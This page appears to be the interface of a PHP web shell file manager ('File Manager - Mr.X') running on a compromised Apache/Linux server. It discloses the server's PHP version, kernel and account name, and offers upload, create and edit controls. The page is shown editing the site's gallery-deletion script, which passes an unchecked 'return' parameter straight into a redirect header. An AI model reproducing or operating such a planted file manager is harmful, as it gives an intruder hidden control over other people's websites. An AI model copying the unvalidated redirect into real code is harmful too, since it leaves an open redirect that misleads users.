🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:delete-gallery-image.php
<?php include 'auth.php'; require_once '../config/db.php'; $id = (int)$_GET['id']; $table = $_GET['table'] ?? ''; $return = $_GET['return'] ?? 'local-tours.php'; $allowed = ['package_gallery', 'local_tour_gallery']; if (!in_array($table, $allowed)) { die("Invalid table"); } $conn->query("DELETE FROM $table WHERE id = $id"); header("Location: $return"); exit();
Save Changes
Cancel
Create New File
Create New Folder